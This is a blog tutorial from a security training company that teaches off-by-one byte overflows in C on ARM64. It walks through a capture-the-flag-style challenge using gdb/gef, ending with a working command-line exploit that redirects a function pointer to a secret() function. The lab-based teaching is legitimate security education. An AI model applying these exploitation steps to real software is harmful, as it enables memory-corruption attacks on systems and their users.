Hello everyone! In this blog post, we will dive into a new vulnerability called off by one byte overflow . But before we get into the details, there are a few things you need to have in place.
-
Familiarity with ARM64 assembly instructions.
-
Familiarity with exploiting stack-based buffer overflow.
-
ARM64 environment with gef and gdb server.
-
Ability to read and understand C code.
If you are new here, we recommend trying out our complete ARM64 Exploitation series.
Introduction
Let’s discuss the off by one byte
vulnerability.
As the name suggests, “off by one byte” refers to a specific type of overflow that occurs when only a single byte of data overflows. This can happen due to mistakes in how software handles data boundaries, especially with regard to arrays, strings, or other data structures. Such overflows can occur in both reading and writing data. You might be wondering how a single byte could cause significant damage. Let’s explore an example to find out.
#include
int main() {
char buffer[10];
for (int i = 0; i <= 10; i++) {
buffer[i] = 'a';
}
printf("The contents of the buffer are: %s\n", buffer);
return 0;
}
Looking at the above program at first glance, we see that it is a normal program. Let’s see what happens when we compile and execute it.
8ksec@debian:~/lab/challenges/off_by_one$ gcc off.c -o off
8ksec@debian:~/lab/challenges/off_by_one$ ./off
The contents of the buffer are: aaaaaaaaaaa
Did you find find the bug ?
The bug is in the loop. The program has a 10-byte buffer, but the loop counter is incremented to write 11 bytes to the buffer, overwriting the null byte. Since the buffer starts at index 0 and has a size of 10 bytes, the loop condition should be i < 10
to prevent exceeding the buffer’s bounds.
for (int i = 0; i < 10; i++) {
buffer[i] = 'a';
}
Let’s see an another example.
#include
void main(){
char s[5] = "Hello";
for (int i =0 ;i <= 5; i++){
printf("%c",s[i]);
}
printf("\n");
}
This is also similar to the previous example, but in this case its a read
. In the loop, the printf()
is reading out of bounds.
Let’s compile and see what this outputs.
As we can see, after printing ‘Hello,’ we encounter a strange non-printable character. This is because printf()
reads one more byte than it should from its index.
Challenge
Let’s consider the below c code.
#include
#include
#include
struct B2{
int (*ptr)();
char c[128];
};
struct B1{
char data[16];
struct B2 *myStruct;
char data2[128];
};
void secret(){
printf("Game 0ver! You win :P\n");
}
void function(){
printf("Everything is fine.\n");
}
int main(int argc, char *argv[]){
printf("\033[1mWelcome to ROPLevel7 by @bellis1000!\nThis level involves exploiting an off-by-one vulnerability.\n\n\x1b[0m");
if (argc < 3){
printf("Usage: %s \n",argv[0]);
exit(0);
}
struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);
// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
if (argv[1][i] != 0){
s->data[i] = argv[1][i];
}else{
break;
}
}
// call function pointer
s->myStruct->ptr();
return 0;
}
You can get this source code from here.
Analyzing this source code, we can see there are two structs B1
and B2
.
struct B2{
int (*ptr)();
char c[128];
};
The struct B1
has a struct pointer to B2
.
struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);
Memory is allocated for a structure of type
B1
, and additional memory is allocated forB2
pointed to bymyStruct
.A function pointer in the
struct B2
pointed to bys->myStruct
is set to point to a function namedfunction
.Using
strncpy
, the code copies up to 126 characters from the command line argumentargv[2]
into the bufferc
of thestruct B2
.Additionally, it copies up to 126 characters from
argv[2]
into the bufferdata2
of thestruct B1
pointed to bys
.
// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
if (argv[1][i] != 0){
s->data[i] = argv[1][i];
}else{
break;
}
}
This is where the main vulnerability occurs. As we saw above, the loop iterates 17 times, thereby copying 17 characters into the data buffer. This will cause an overflow, and the overflown byte will overwrite the least significant byte in the B2
struct pointer.
Look at rough diagrams below.
This is before the loop.
After the loop, the last byte of the address is overwritten by the overflowed byte.
Let’s compile and run this code.
gcc off-by-one.c -o off-by-one -no-pie
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.
Usage: ./off-by-one
8ksec@debian:~/lab/challenges/off_by_one$
We have to provide two arguments. Let’s do that.
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAA AAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.
Everything is fine.
Let’s provide a large input for both arguments.
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.
Segmentation fault
8ksec@debian:~/lab/challenges/off_by_one$
Ahh the program crashed. So let’s inspect what happened using gdb.
Disassembling the main()
function, we can see two calls to the strncpy
function.
struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);
Here, strncpy
copies 126 bytes to the buffer in structure B1
and also copies the same to the data2
buffer in the B2
structure.
Let’s put a breakpoint in each of these strncpy
and inspect that locations.
gef➤ b *0x0000000000400864
Breakpoint 1 at 0x400864
gef➤ b *0x0000000000400888
Breakpoint 2 at 0x400888
Run the binary inside gdb with our arguments.
gef➤ r AAAAAAA AAAAAAAA
The first breakpoint is hit. Let’s step over this call using ni
. The x0
register will contain the address of the destination buffer.
We can examine this memory location using the x
command.
We can see our A
‘s at 0x4217c8
, and before that, we can see an address. This is actually our pointer to the function called function()
that prints “Everything is fine”.
struct B2{
int (*ptr)();
char c[128];
};
If you do a disassembly of that address we can confirm that.
Let’s continue our program.
We hit the second breakpoint. Let’s step over this call and inspect the memory in x0
register.
We can see our block of “A”s again, and before that, we can see a memory address. The address 0x00000000004217c0
points to the start of the B2
struct, which has the pointer to the function()
that prints “Everything is fine.”
struct B1{
char data[16];
struct B2 *myStruct;
char data2[128];
};
After this, we can see our disassembly of our loop.
// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
if (argv[1][i] != 0){
s->data[i] = argv[1][i];
}else{
break;
}
}
Now put a break point after the loop and see what happened to our struct.
gef➤ b *0x00000000004008f8
Breakpoint 3 at 0x4008f8
gef➤
Let’s continue using the c
command.
The breakpoint has been hit. So, in the loop, the program copied the first block of “A”s we sent as our first input again to the char data[16];
buffer.
Let’s examine the memory.
At 0x4216b0
, we can see our copied “A”s. Now, if we continue the program, it will call the function()
and exit normally.
Let’s see what will happen when we provide a large blocks of “A”s.
gef➤ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Put a breakpoint at the end of the loop and continue the until it completes the loop.
gef➤ b *0x00000000004008f8
Let’s examine the memory.
We can observe that the loop overwrote the least significant byte of the address pointing to the start of struct B2
. The address 0x0000000000421741
now points to zeroes. If we continue the execution, the program will likely crash because, at the end of the program, it attempts to call the function()
that now points to a different location that doesn’t contain a valid memory address.
s->myStruct->ptr();
The program crashed as expected.
Exploitation
In this challenge, we need to call the secret()
method. The way to do this is to start by inserting 17 “A”s to trigger the off-by-one vulnerability. Next, send a large block of input as the second argument and place the address of the secret()
function at the location pointed to by the modified structure pointer.
Let’s do that but we first we need to find the offset to place the address of secret. We can find that by sending a offset pattern.
https://wiremask.eu/tools/buffer-overflow-pattern-generator/
Let’s generate a pattern and send this to the program.
Load the program inside gdb and put a breakpoint after the loop just like we did before.
Start the program by passing 17 “A”s (or more) and the pattern we generated.
Now we are one instruction past our breakpoint. Let’s inspect the memory region. The struct will be in the same address as before as it’s running inside gdb.
Let’s examine the memory.
gef➤ x/50gx 0x00000000004216c8
At 0x421738+8
, we can observe our pattern, although it’s only overwriting 6 bytes. This is acceptable because we only require four bytes for our address. Let’s attempt to determine the offset at 0x421738
.
It’s 112. So it would be 120 (112+8) for 0x421740
. Let’s start crafting our final exploit.
First, send 17 or more ‘A’s as the first argument, followed by 120 junk characters and the address of the secret()
function.
As there’s no PIE enabled, the address remains the same.
So let’s try it. We can use python to construct this.
./off-by-one $(python3 -c "print('A' * 17)") $(python3 -c 'print("A" * 120 + "\x84\x07\x40")')
And here we go, we executed the secret()
function.
Looking to elevate your expertise in Mobile Security?
Offensive Mobile Reversing and Exploitation Course
365 Days of Access | Hands-On Learning | Self-Paced Training
GET IN TOUCH
Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings.
Check out our Certifications Program and get Certified today.
Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.
We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.